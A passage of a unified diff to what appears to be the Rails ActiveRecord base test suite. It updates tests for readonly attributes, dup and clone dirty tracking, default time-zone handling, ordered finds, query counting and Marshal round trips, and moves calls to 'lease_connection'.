+      assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
     end
   end
 
@@ -515,6 +585,10 @@ def test_find_by_slug
     assert_equal Topic.find("1-meowmeow"), Topic.find(1)
   end
 
+  def test_out_of_range_slugs
+    assert_equal [Topic.find(1)], Topic.where(id: ["1-meowmeow", "9223372036854775808-hello"])
+  end
+
   def test_find_by_slug_with_array
     assert_equal Topic.find([1, 2]), Topic.find(["1-meowmeow", "2-hello"])
     assert_equal "The Second Topic of the day", Topic.find(["2-hello", "1-meowmeow"]).first.title
@@ -548,26 +622,29 @@ def test_equality_of_relation_and_collection_proxy
     car = Car.create!
     car.bulbs.build
     car.save
+    bulbs_of_car = Bulb.where(car_id: car.id)
 
-    assert car.bulbs == Bulb.where(car_id: car.id), "CollectionProxy should be comparable with Relation"
-    assert Bulb.where(car_id: car.id) == car.bulbs, "Relation should be comparable with CollectionProxy"
+    assert_equal car.bulbs, bulbs_of_car, "CollectionProxy should be comparable with Relation"
+    assert_equal bulbs_of_car, car.bulbs, "Relation should be comparable with CollectionProxy"
   end
 
   def test_equality_of_relation_and_array
     car = Car.create!
     car.bulbs.build
     car.save
+    bulbs_of_car = Bulb.where(car_id: car.id)
 
-    assert Bulb.where(car_id: car.id) == car.bulbs.to_a, "Relation should be comparable with Array"
+    assert_equal bulbs_of_car, car.bulbs.to_a, "Relation should be comparable with Array"
   end
 
   def test_equality_of_relation_and_association_relation
     car = Car.create!
     car.bulbs.build
     car.save
+    bulbs_of_car = Bulb.where(car_id: car.id)
 
-    assert_equal Bulb.where(car_id: car.id), car.bulbs.includes(:car), "Relation should be comparable with AssociationRelation"
-    assert_equal car.bulbs.includes(:car), Bulb.where(car_id: car.id), "AssociationRelation should be comparable with Relation"
+    assert_equal bulbs_of_car, car.bulbs.includes(:car), "Relation should be comparable with AssociationRelation"
+    assert_equal car.bulbs.includes(:car), bulbs_of_car, "AssociationRelation should be comparable with Relation"
   end
 
   def test_equality_of_collection_proxy_and_association_relation
@@ -597,7 +674,7 @@ def test_failed_comparison_of_unlike_class_records
   end
 
   def test_create_without_prepared_statement
-    topic = Topic.connection.unprepared_statement do
+    topic = Topic.lease_connection.unprepared_statement do
       Topic.create(title: "foo")
     end
 
@@ -606,7 +683,7 @@ def test_create_without_prepared_statement
 
   def test_destroy_without_prepared_statement
     topic = Topic.create(title: "foo")
-    Topic.connection.unprepared_statement do
+    Topic.lease_connection.unprepared_statement do
       Topic.find(topic.id).destroy
     end
 
@@ -627,16 +704,166 @@ def test_comparison_with_different_objects_in_array
   end
 
   def test_readonly_attributes
-    assert_equal Set.new([ "title" , "comments_count" ]), ReadonlyTitlePost.readonly_attributes
+    assert_equal [ "title" ], ReadonlyTitlePost.readonly_attributes
 
     post = ReadonlyTitlePost.create(title: "cannot change this", body: "changeable")
+    assert_equal "cannot change this", post.title
+    assert_equal "changeable", post.body
+
+    post = Post.find(post.id)
+    assert_equal "cannot change this", post.title
+    assert_equal "changeable", post.body
+
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      post.title = "changed via assignment"
+    end
+    post.body = "changed via assignment"
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via assignment", post.body
+
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      post.write_attribute(:title, "changed via write_attribute")
+    end
+    post.write_attribute(:body, "changed via write_attribute")
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via write_attribute", post.body
+
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      post.assign_attributes(body: "changed via assign_attributes", title: "changed via assign_attributes")
+    end
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via assign_attributes", post.body
+
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      post.update(title: "changed via update", body: "changed via update")
+    end
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via assign_attributes", post.body
+
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      post[:title] = "changed via []="
+    end
+    post[:body] = "changed via []="
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via []=", post.body
+
+    post.save!
+
+    post = Post.find(post.id)
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via []=", post.body
+  end
+
+  def test_readonly_attributes_on_a_new_record
+    assert_equal [ "title" ], ReadonlyTitlePost.readonly_attributes
+
+    post = ReadonlyTitlePost.new(title: "can change this until you save", body: "changeable")
+    assert_equal "can change this until you save", post.title
+    assert_equal "changeable", post.body
+
+    post.title = "changed via assignment"
+    post.body = "changed via assignment"
+    assert_equal "changed via assignment", post.title
+    assert_equal "changed via assignment", post.body
+
+    post.write_attribute(:title, "changed via write_attribute")
+    post.write_attribute(:body, "changed via write_attribute")
+    assert_equal "changed via write_attribute", post.title
+    assert_equal "changed via write_attribute", post.body
+
+    post.assign_attributes(body: "changed via assign_attributes", title: "changed via assign_attributes")
+    assert_equal "changed via assign_attributes", post.title
+    assert_equal "changed via assign_attributes", post.body
+
+    post[:title] = "changed via []="
+    post[:body] = "changed via []="
+    assert_equal "changed via []=", post.title
+    assert_equal "changed via []=", post.body
+
+    post.save!
+
+    post = Post.find(post.id)
+    assert_equal "changed via []=", post.title
+    assert_equal "changed via []=", post.body
+  end
+
+  def test_readonly_attributes_in_abstract_class_descendant
+    assert_equal [ "title" ], ReadonlyTitlePostWithAbstractParent.readonly_attributes
+
+    assert_nothing_raised do
+      ReadonlyTitlePostWithAbstractParent.new(title: "can change this until you save")
+    end
+  end
+
+  def test_readonly_attributes_when_configured_to_not_raise
+    assert_equal [ "title" ], NonRaisingPost.readonly_attributes
+
+    post = NonRaisingPost.create(title: "cannot change this", body: "changeable")
+    assert_equal "cannot change this", post.title
+    assert_equal "changeable", post.body
+
+    post = Post.find(post.id)
+    assert_equal "cannot change this", post.title
+    assert_equal "changeable", post.body
+
+    post.title = "changed via assignment"
+    post.body = "changed via assignment"
+    post.save!
+    post.reload
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via assignment", post.body
+
+    post.write_attribute(:title, "changed via write_attribute")
+    post.write_attribute(:body, "changed via write_attribute")
+    post.save!
+    post.reload
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via write_attribute", post.body
+
+    post.assign_attributes(body: "changed via assign_attributes", title: "changed via assign_attributes")
+    post.save!
+    post.reload
+    assert_equal "cannot change this", post.title
+    assert_equal "changed via assign_attributes", post.body
+
+    post.update(title: "changed via update", body: "changed via update")
     post.reload
     assert_equal "cannot change this", post.title
+    assert_equal "changed via update", post.body
 
-    post.update(title: "try to change", body: "changed")
+    post[:title] = "changed via []="
+    post[:body] = "changed via []="
+    post.save!
     post.reload
     assert_equal "cannot change this", post.title
-    assert_equal "changed", post.body
+    assert_equal "changed via []=", post.body
+  end
+
+  def test_readonly_attributes_on_belongs_to_association
+    assert_equal [ "author_id" ], ReadonlyAuthorPost.readonly_attributes
+
+    author1 = Author.create!(name: "Alex")
+    author2 = Author.create!(name: "Not Alex")
+
+    post_with_reload = ReadonlyAuthorPost.create!(author: author1, title: "Hi", body: "there")
+    post_with_reload.reload
+    post_with_reload.update(title: "Hello", body: "world")
+    assert_equal author1, post_with_reload.author
+
+    post_with_reload2 = ReadonlyAuthorPost.create!(author: author1, title: "Hi", body: "there")
+    post_with_reload2.reload
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      post_with_reload2.update(author: author2)
+    end
+
+    post_without_reload = ReadonlyAuthorPost.create!(author: author1, title: "Hi", body: "there")
+    post_without_reload.update(title: "Hello", body: "world")
+    assert_equal author1, post_without_reload.author
+
+    post_without_reload2 = ReadonlyAuthorPost.create!(author: author1, title: "Hi", body: "there")
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      post_without_reload2.update(author: author2)
+    end
   end
 
   def test_unicode_column_name
@@ -645,7 +872,7 @@ def test_unicode_column_name
     assert_equal "��焼�仮�", weird.���
   end
 
-  unless current_adapter?(:PostgreSQLAdapter)
+  unless current_adapter?(:PostgreSQLAdapter) || current_adapter?(:TrilogyAdapter)
     def test_respect_internal_encoding
       old_default_internal = Encoding.default_internal
       silence_warnings { Encoding.default_internal = "EUC-JP" }
@@ -662,12 +889,12 @@ def test_respect_internal_encoding
   def test_non_valid_identifier_column_name
     weird = Weird.create("a$b" => "value")
     weird.reload
-    assert_equal "value", weird.send("a$b")
+    assert_equal "value", weird.public_send("a$b")
     assert_equal "value", weird.read_attribute("a$b")
 
     weird.update_columns("a$b" => "value2")
     weird.reload
-    assert_equal "value2", weird.send("a$b")
+    assert_equal "value2", weird.public_send("a$b")
     assert_equal "value2", weird.read_attribute("a$b")
   end
 
@@ -678,9 +905,6 @@ def test_group_weirds_by_from
   end
 
   def test_attributes_on_dummy_time
-    # Oracle does not have a TIME datatype.
-    return true if current_adapter?(:OracleAdapter)
-
     with_timezone_config default: :local do
       attributes = {
         "bonus_time" => "5:42:00AM"
@@ -688,13 +912,13 @@ def test_attributes_on_dummy_time
       topic = Topic.find(1)
       topic.attributes = attributes
       assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+
+      topic.save!
+      assert_equal topic, Topic.find_by(attributes)
     end
   end
 
   def test_attributes_on_dummy_time_with_invalid_time
-    # Oracle does not have a TIME datatype.
-    return true if current_adapter?(:OracleAdapter)
-
     attributes = {
       "bonus_time" => "not a time"
     }
@@ -703,51 +927,42 @@ def test_attributes_on_dummy_time_with_invalid_time
     assert_nil topic.bonus_time
   end
 
-  def test_boolean
-    b_nil = Boolean.create("value" => nil)
-    nil_id = b_nil.id
-    b_false = Boolean.create("value" => false)
-    false_id = b_false.id
-    b_true = Boolean.create("value" => true)
-    true_id = b_true.id
+  def test_attributes
+    category = Category.new(name: "Ruby")
 
-    b_nil = Boolean.find(nil_id)
-    assert_nil b_nil.value
-    b_false = Boolean.find(false_id)
-    assert !b_false.value?
-    b_true = Boolean.find(true_id)
-    assert b_true.value?
-  end
+    expected_attributes = category.attribute_names.index_with do |attribute_name|
+      category.public_send(attribute_name)
+    end
 
-  def test_boolean_without_questionmark
-    b_true = Boolean.create("value" => true)
-    true_id = b_true.id
+    assert_instance_of Hash, category.attributes
+    assert_equal expected_attributes, category.attributes
+  end
 
-    subclass   = Class.new(Boolean).find true_id
-    superclass = Boolean.find true_id
+  def test_new_record_returns_boolean
+    assert_equal false, Topic.new.persisted?
+    assert_equal true, Topic.find(1).persisted?
+  end
 
-    assert_equal superclass.read_attribute(:has_fun), subclass.read_attribute(:has_fun)
+  def test_previously_new_record_returns_boolean
+    assert_equal false, Topic.new.previously_new_record?
+    assert_equal true, Topic.create.previously_new_record?
+    assert_equal false, Topic.find(1).previously_new_record?
   end
 
-  def test_boolean_cast_from_string
-    b_blank = Boolean.create("value" => "")
-    blank_id = b_blank.id
-    b_false = Boolean.create("value" => "0")
-    false_id = b_false.id
-    b_true = Boolean.create("value" => "1")
-    true_id = b_true.id
+  def test_previously_new_record_on_destroyed_record
+    topic = Topic.create
+    assert_predicate topic, :previously_new_record?
 
-    b_blank = Boolean.find(blank_id)
-    assert_nil b_blank.value
-    b_false = Boolean.find(false_id)
-    assert !b_false.value?
-    b_true = Boolean.find(true_id)
-    assert b_true.value?
+    topic.destroy
+    assert_not_predicate topic, :previously_new_record?
   end
 
-  def test_new_record_returns_boolean
-    assert_equal false, Topic.new.persisted?
-    assert_equal true, Topic.find(1).persisted?
+  def test_previously_persisted_returns_boolean
+    assert_equal false, Topic.new.previously_persisted?
+    assert_equal false, Topic.new.destroy.previously_persisted?
+    assert_equal false, Topic.first.previously_persisted?
+    assert_equal true, Topic.first.destroy.previously_persisted?
+    assert_equal true, Topic.first.delete.previously_persisted?
   end
 
   def test_dup
@@ -755,7 +970,7 @@ def test_dup
     duped_topic = nil
     assert_nothing_raised { duped_topic = topic.dup }
     assert_equal topic.title, duped_topic.title
-    assert !duped_topic.persisted?
+    assert_not_predicate duped_topic, :persisted?
 
     # test if the attributes have been duped
     topic.title = "a"
@@ -773,13 +988,21 @@ def test_dup
 
     # test if saved clone object differs from original
     duped_topic.save
-    assert duped_topic.persisted?
+    assert_predicate duped_topic, :persisted?
     assert_not_equal duped_topic.id, topic.id
 
     duped_topic.reload
     assert_equal("c", duped_topic.title)
   end
 
+  def test_dup_for_a_composite_primary_key_model
+    book = cpk_books(:cpk_great_author_first_book)
+    new_book = book.dup
+
+    assert_equal "The first book", new_book.title
+    assert_equal([nil, nil], new_book.id)
+  end
+
   DeveloperSalary = Struct.new(:amount)
   def test_dup_with_aggregate_of_same_name_as_attribute
     developer_with_aggregate = Class.new(ActiveRecord::Base) do
@@ -794,15 +1017,16 @@ def test_dup_with_aggregate_of_same_name_as_attribute
     assert_nothing_raised { dup = dev.dup }
     assert_kind_of DeveloperSalary, dup.salary
     assert_equal dev.salary.amount, dup.salary.amount
-    assert !dup.persisted?
+    assert_not_predicate dup, :persisted?
 
     # test if the attributes have been duped
-    original_amount = dup.salary.amount
-    dev.salary.amount = 1
-    assert_equal original_amount, dup.salary.amount
+    salary = DeveloperSalary.new(42)
+    dup.salary = salary
+    salary.amount = 1
+    assert_equal 42, dup.salary.amount
 
     assert dup.save
-    assert dup.persisted?
+    assert_predicate dup, :persisted?
     assert_not_equal dup.id, dev.id
   end
 
@@ -822,152 +1046,187 @@ def test_clone_preserves_subtype
 
   def test_clone_of_new_object_with_defaults
     developer = Developer.new
-    assert !developer.name_changed?
-    assert !developer.salary_changed?
+    assert_not_predicate developer, :name_changed?
+    assert_not_predicate developer, :salary_changed?
 
     cloned_developer = developer.clone
-    assert !cloned_developer.name_changed?
-    assert !cloned_developer.salary_changed?
+    assert_not_predicate cloned_developer, :name_changed?
+    assert_not_predicate cloned_developer, :salary_changed?
   end
 
   def test_clone_of_new_object_marks_attributes_as_dirty
     developer = Developer.new name: "Bjorn", salary: 100000
-    assert developer.name_changed?
-    assert developer.salary_changed?
+    assert_predicate developer, :name_changed?
+    assert_predicate developer, :salary_changed?
 
     cloned_developer = developer.clone
-    assert cloned_developer.name_changed?
-    assert cloned_developer.salary_changed?
+    assert_predicate cloned_developer, :name_changed?
+    assert_predicate cloned_developer, :salary_changed?
   end
 
   def test_clone_of_new_object_marks_as_dirty_only_changed_attributes
     developer = Developer.new name: "Bjorn"
-    assert developer.name_changed?            # obviously
-    assert !developer.salary_changed?         # attribute has non-nil default value, so treated as not changed
+    assert_predicate developer, :name_changed?            # obviously
+    assert_not developer.salary_changed?         # attribute has non-nil default value, so treated as not changed
 
     cloned_developer = developer.clone
-    assert cloned_developer.name_changed?
-    assert !cloned_developer.salary_changed?  # ... and cloned instance should behave same
+    assert_predicate cloned_developer, :name_changed?
+    assert_not cloned_developer.salary_changed?  # ... and cloned instance should behave same
   end
 
   def test_dup_of_saved_object_marks_attributes_as_dirty
     developer = Developer.create! name: "Bjorn", salary: 100000
-    assert !developer.name_changed?
-    assert !developer.salary_changed?
+    assert_not_predicate developer, :name_changed?
+    assert_not_predicate developer, :salary_changed?
 
     cloned_developer = developer.dup
-    assert cloned_developer.name_changed?     # both attributes differ from defaults
-    assert cloned_developer.salary_changed?
+    assert_predicate cloned_developer, :name_changed?     # both attributes differ from defaults
+    assert_predicate cloned_developer, :salary_changed?
   end
 
   def test_dup_of_saved_object_marks_as_dirty_only_changed_attributes
     developer = Developer.create! name: "Bjorn"
-    assert !developer.name_changed?           # both attributes of saved object should be treated as not changed
-    assert !developer.salary_changed?
+    assert_not developer.name_changed?           # both attributes of saved object should be treated as not changed
+    assert_not_predicate developer, :salary_changed?
 
     cloned_developer = developer.dup
-    assert cloned_developer.name_changed?     # ... but on cloned object should be
-    assert !cloned_developer.salary_changed?  # ... BUT salary has non-nil default which should be treated as not changed on cloned instance
+    assert_predicate cloned_developer, :name_changed?     # ... but on cloned object should be
+    assert_not cloned_developer.salary_changed?  # ... BUT salary has non-nil default which should be treated as not changed on cloned instance
   end
 
   def test_bignum
     company = Company.find(1)
-    company.rating = 2147483647
+    company.rating = 2147483648
     company.save
     company = Company.find(1)
-    assert_equal 2147483647, company.rating
+    assert_equal 2147483648, company.rating
   end
 
-  # TODO: extend defaults tests to other databases!
-  if current_adapter?(:PostgreSQLAdapter)
-    def test_default
-      with_timezone_config default: :local do
-        default = Default.new
+  def test_bignum_pk
+    company = Company.create!(id: 2147483648, name: "foo")
+    assert_equal company, Company.find(company.id)
+  end
 
-        # fixed dates / times
-        assert_equal Date.new(2004, 1, 1), default.fixed_date
-        assert_equal Time.local(2004, 1, 1, 0, 0, 0, 0), default.fixed_time
+  if current_adapter?(:PostgreSQLAdapter, :Mysql2Adapter, :TrilogyAdapter, :SQLite3Adapter)
+    def test_default_char_types
+      default = Default.new
+
+      assert_equal "Y", default.char1
+      assert_equal "a varchar field", default.char2
 
-        # char types
-        assert_equal "Y", default.char1
-        assert_equal "a varchar field", default.char2
+      # Mysql text type can't have default value
+      unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
         assert_equal "a text field", default.char3
       end
     end
-  end
 
-  class NumericData < ActiveRecord::Base
-    self.table_name = "numeric_data"
+    def test_default_in_local_time
+      with_env_tz do
+        with_timezone_config default: :local do
+          default = Default.new
 
-    attribute :my_house_population, :integer
-    attribute :atoms_in_universe, :integer
-  end
+          assert_equal Date.new(2004, 1, 1), default.fixed_date
+          assert_equal Time.local(2004, 1, 1, 0, 0, 0, 0), default.fixed_time
 
-  def test_big_decimal_conditions
-    m = NumericData.new(
-      bank_balance: 1586.43,
-      big_bank_balance: BigDecimal("1000234000567.95"),
-      world_population: 6000000000,
-      my_house_population: 3
-    )
-    assert m.save
-    assert_equal 0, NumericData.where("bank_balance > ?", 2000.0).count
-  end
+          if current_adapter?(:PostgreSQLAdapter)
+            assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time_with_time_zone
+          end
+        end
+      end
+    end
 
-  def test_numeric_fields
-    m = NumericData.new(
-      bank_balance: 1586.43,
-      big_bank_balance: BigDecimal("1000234000567.95"),
-      world_population: 6000000000,
-      my_house_population: 3
-    )
-    assert m.save
+    def test_default_in_utc
+      with_timezone_config default: :utc do
+        default = Default.new
+
+        assert_equal Date.new(2004, 1, 1), default.fixed_date
+        assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time
 
-    m1 = NumericData.find(m.id)
-    assert_not_nil m1
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time_with_time_zone
+        end
+      end
+    end
 
-    # As with migration_test.rb, we should make world_population >= 2**62
-    # to cover 64-bit platforms and test it is a Bignum, but the main thing
-    # is that it's an Integer.
-    assert_kind_of Integer, m1.world_population
-    assert_equal 6000000000, m1.world_population
+    def test_default_in_utc_with_time_zone
+      with_timezone_config default: :utc do
+        Time.use_zone "Central Time (US & Canada)" do
+          default = Default.new
 
-    assert_kind_of Integer, m1.my_house_population
-    assert_equal 3, m1.my_house_population
+          assert_equal Date.new(2004, 1, 1), default.fixed_date
+          assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time
 
-    assert_kind_of BigDecimal, m1.bank_balance
-    assert_equal BigDecimal("1586.43"), m1.bank_balance
+          if current_adapter?(:PostgreSQLAdapter)
+            assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time_with_time_zone
+          end
+        end
+      end
+    end
 
-    assert_kind_of BigDecimal, m1.big_bank_balance
-    assert_equal BigDecimal("1000234000567.95"), m1.big_bank_balance
-  end
+    def test_switching_default_time_zone
+      with_env_tz do
+        2.times do
+          with_timezone_config default: :local do
+            assert_equal Time.local(2004, 1, 1, 0, 0, 0, 0), Default.new.fixed_time
+          end
+          with_timezone_config default: :utc do
+            assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), Default.new.fixed_time
+          end
+        end
+      end
+    end
 
-  def test_numeric_fields_with_scale
-    m = NumericData.new(
-      bank_balance: 1586.43122334,
-      big_bank_balance: BigDecimal("234000567.952344"),
-      world_population: 6000000000,
-      my_house_population: 3
-    )
-    assert m.save
+    def test_mutating_time_objects
+      with_env_tz do
+        with_timezone_config default: :local do
+          assert_equal Time.local(2004, 1, 1, 0, 0, 0, 0), Default.new.fixed_time
+          assert_equal Time.utc(2004, 1, 1, 5, 0, 0, 0), Default.new.fixed_time.utc
+          assert_equal Time.local(2004, 1, 1, 0, 0, 0, 0), Default.new.fixed_time
+        end
+      end
+    end
+
+    unless in_memory_db?
+      def test_connection_in_local_time
+        with_timezone_config default: :utc do
+          new_config = ActiveRecord::Base.connection_db_config.configuration_hash.merge(default_timezone: "local")
+          ActiveRecord::Base.establish_connection(new_config)
+          Default.reset_column_information
+
+          default = Default.new
 
-    m1 = NumericData.find(m.id)
-    assert_not_nil m1
+          assert_equal Date.new(2004, 1, 1), default.fixed_date
+          assert_equal Time.local(2004, 1, 1, 0, 0, 0, 0), default.fixed_time
+
+          if current_adapter?(:PostgreSQLAdapter)
+            assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time_with_time_zone
+          end
+        end
+      ensure
+        ActiveRecord::Base.establish_connection :arunit
+        Default.reset_column_information
+      end
 
-    # As with migration_test.rb, we should make world_population >= 2**62
-    # to cover 64-bit platforms and test it is a Bignum, but the main thing
-    # is that it's an Integer.
-    assert_kind_of Integer, m1.world_population
-    assert_equal 6000000000, m1.world_population
+      def test_connection_in_utc_time
+        with_timezone_config default: :local do
+          new_config = ActiveRecord::Base.connection_db_config.configuration_hash.merge(default_timezone: "utc")
+          ActiveRecord::Base.establish_connection(new_config)
+          Default.reset_column_information
 
-    assert_kind_of Integer, m1.my_house_population
-    assert_equal 3, m1.my_house_population
+          default = Default.new
 
-    assert_kind_of BigDecimal, m1.bank_balance
-    assert_equal BigDecimal("1586.43"), m1.bank_balance
+          assert_equal Date.new(2004, 1, 1), default.fixed_date
+          assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time
 
-    assert_kind_of BigDecimal, m1.big_bank_balance
-    assert_equal BigDecimal("234000567.95"), m1.big_bank_balance
+          if current_adapter?(:PostgreSQLAdapter)
+            assert_equal Time.utc(2004, 1, 1, 0, 0, 0, 0), default.fixed_time_with_time_zone
+          end
+        end
+      ensure
+        ActiveRecord::Base.establish_connection :arunit
+        Default.reset_column_information
+      end
+    end
   end
 
   def test_auto_id
@@ -1007,14 +1266,14 @@ def test_quote
   end
 
   def test_toggle_attribute
-    assert !topics(:first).approved?
+    assert_not_predicate topics(:first), :approved?
     topics(:first).toggle!(:approved)
-    assert topics(:first).approved?
+    assert_predicate topics(:first), :approved?
     topic = topics(:first)
     topic.toggle(:approved)
-    assert !topic.approved?
+    assert_not_predicate topic, :approved?
     topic.reload
-    assert topic.approved?
+    assert_predicate topic, :approved?
   end
 
   def test_reload
@@ -1038,7 +1297,7 @@ def test_switching_between_table_name
     end
   end
 
-  def test_clear_cash_when_setting_table_name
+  def test_clear_cache_when_setting_table_name
     original_table_name = Joke.table_name
 
     Joke.table_name = "funny_jokes"
@@ -1089,11 +1348,11 @@ def test_quoted_table_name_after_set_table_name
 
     klass.table_name = "foo"
     assert_equal "foo", klass.table_name
-    assert_equal klass.connection.quote_table_name("foo"), klass.quoted_table_name
+    assert_equal klass.adapter_class.quote_table_name("foo"), klass.quoted_table_name
 
     klass.table_name = "bar"
     assert_equal "bar", klass.table_name
-    assert_equal klass.connection.quote_table_name("bar"), klass.quoted_table_name
+    assert_equal klass.adapter_class.quote_table_name("bar"), klass.quoted_table_name
   end
 
   def test_set_table_name_with_inheritance
@@ -1113,31 +1372,21 @@ def test_sequence_name_with_abstract_class
     assert_equal k.reset_sequence_name, orig_name
   end
 
+  def test_sequence_name_for_cpk_model
+    assert_nil Cpk::Book.sequence_name
+  end
+
   def test_count_with_join
     res = Post.count_by_sql "SELECT COUNT(*) FROM posts LEFT JOIN comments ON posts.id=comments.post_id WHERE posts.#{QUOTED_TYPE} = 'Post'"
-
     res2 = Post.where("posts.#{QUOTED_TYPE} = 'Post'").joins("LEFT JOIN comments ON posts.id=comments.post_id").count
     assert_equal res, res2
 
-    res3 = nil
-    assert_nothing_raised do
-      res3 = Post.where("posts.#{QUOTED_TYPE} = 'Post'").joins("LEFT JOIN comments ON posts.id=comments.post_id").count
-    end
-    assert_equal res, res3
-
     res4 = Post.count_by_sql "SELECT COUNT(p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
-    res5 = nil
-    assert_nothing_raised do
-      res5 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").count
-    end
-
+    res5 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").count
     assert_equal res4, res5
 
     res6 = Post.count_by_sql "SELECT COUNT(DISTINCT p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
-    res7 = nil
-    assert_nothing_raised do
-      res7 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").distinct.count
-    end
+    res7 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").distinct.count
     assert_equal res6, res7
   end
 
@@ -1147,11 +1396,6 @@ def test_no_limit_offset
     end
   end
 
-  def test_find_last
-    last = Developer.last
-    assert_equal last, Developer.all.merge!(order: "id desc").first
-  end
-
   def test_last
     assert_equal Developer.all.merge!(order: "id desc").first, Developer.last
   end
@@ -1167,28 +1411,28 @@ def test_all_with_conditions
   end
 
   def test_find_ordered_last
-    last = Developer.all.merge!(order: "developers.salary ASC").last
-    assert_equal last, Developer.all.merge!(order: "developers.salary ASC").to_a.last
+    last = Developer.order("developers.salary ASC").last
+    assert_equal last, Developer.order("developers.salary": "ASC").to_a.last
   end
 
   def test_find_reverse_ordered_last
-    last = Developer.all.merge!(order: "developers.salary DESC").last
-    assert_equal last, Developer.all.merge!(order: "developers.salary DESC").to_a.last
+    last = Developer.order("developers.salary DESC").last
+    assert_equal last, Developer.order("developers.salary": "DESC").to_a.last
   end
 
   def test_find_multiple_ordered_last
-    last = Developer.all.merge!(order: "developers.name, developers.salary DESC").last
-    assert_equal last, Developer.all.merge!(order: "developers.name, developers.salary DESC").to_a.last
+    last = Developer.order("developers.name, developers.salary DESC").last
+    assert_equal last, Developer.order(:"developers.name", "developers.salary": "DESC").to_a.last
   end
 
   def test_find_keeps_multiple_order_values
-    combined = Developer.all.merge!(order: "developers.name, developers.salary").to_a
-    assert_equal combined, Developer.all.merge!(order: ["developers.name", "developers.salary"]).to_a
+    combined = Developer.order("developers.name, developers.salary").to_a
+    assert_equal combined, Developer.order(:"developers.name", :"developers.salary").to_a
   end
 
   def test_find_keeps_multiple_group_values
-    combined = Developer.all.merge!(group: "developers.name, developers.salary, developers.id, developers.created_at, developers.updated_at, developers.created_on, developers.updated_on").to_a
-    assert_equal combined, Developer.all.merge!(group: ["developers.name", "developers.salary", "developers.id", "developers.created_at", "developers.updated_at", "developers.created_on", "developers.updated_on"]).to_a
+    combined = Developer.merge(group: "developers.name, developers.salary, developers.id, developers.legacy_created_at, developers.legacy_updated_at, developers.legacy_created_on, developers.legacy_updated_on").to_a
+    assert_equal combined, Developer.merge(group: ["developers.name", "developers.salary", "developers.id", "developers.created_at", "developers.updated_at", "developers.created_on", "developers.updated_on"]).to_a
   end
 
   def test_find_symbol_ordered_last
@@ -1212,10 +1456,10 @@ def test_find_on_abstract_base_class_doesnt_use_type_condition
     end
   end
 
-  def test_assert_queries
-    query = lambda { ActiveRecord::Base.connection.execute "select count(*) from developers" }
-    assert_queries(2) { 2.times { query.call } }
-    assert_queries 1, &query
+  def test_assert_queries_count
+    query = lambda { ActiveRecord::Base.lease_connection.execute "select count(*) from developers" }
+    assert_queries_count(2) { 2.times { query.call } }
+    assert_queries_count 1, &query
     assert_no_queries { assert true }
   end
 
@@ -1247,30 +1491,30 @@ def test_benchmark_with_use_silence
 
   def test_clear_cache!
     # preheat cache
-    c1 = Post.connection.schema_cache.columns("posts")
+    c1 = Post.schema_cache.columns("posts")
+    assert_not_equal 0, Post.schema_cache.size
+
     ActiveRecord::Base.clear_cache!
-    c2 = Post.connection.schema_cache.columns("posts")
-    c1.each_with_index do |v, i|
-      assert_not_same v, c2[i]
-    end
+    assert_equal 0, Post.schema_cache.size
+
+    c2 = Post.schema_cache.columns("posts")
+    assert_not_equal 0, Post.schema_cache.size
+
     assert_equal c1, c2
   end
 
-  def test_current_scope_is_reset
-    Object.const_set :UnloadablePost, Class.new(ActiveRecord::Base)
-    UnloadablePost.send(:current_scope=, UnloadablePost.all)
+  def test_marshal_round_trip
+    expected = posts(:welcome)
+    marshalled = Marshal.dump(expected)
+    actual = Marshal.load(marshalled)
 
-    UnloadablePost.unloadable
-    klass = UnloadablePost
-    assert_not_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, klass)
-    ActiveSupport::Dependencies.remove_unloadable_constants!
-    assert_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, klass)
-  ensure
-    Object.class_eval { remove_const :UnloadablePost } if defined?(UnloadablePost)
+    assert_equal expected.attributes, actual.attributes
   end
 
-  def test_marshal_round_trip
+  def test_marshal_inspected_round_trip
     expected = posts(:welcome)
+    expected.inspect
+
     marshalled = Marshal.dump(expected)
     actual = Marshal.load(marshalled)
 
@@ -1281,10 +1525,23 @@ def test_marshal_new_record_round_trip
     marshalled = Marshal.dump(Post.new)
     post       = Marshal.load(marshalled)
 
-    assert post.new_record?, "should be a new record"
+    assert_predicate post, :new_record?, "should be a new record"
+  end
+
+  def test_marshalling_with_associations_6_1
+    post = Post.new
+    post.comments.build
+
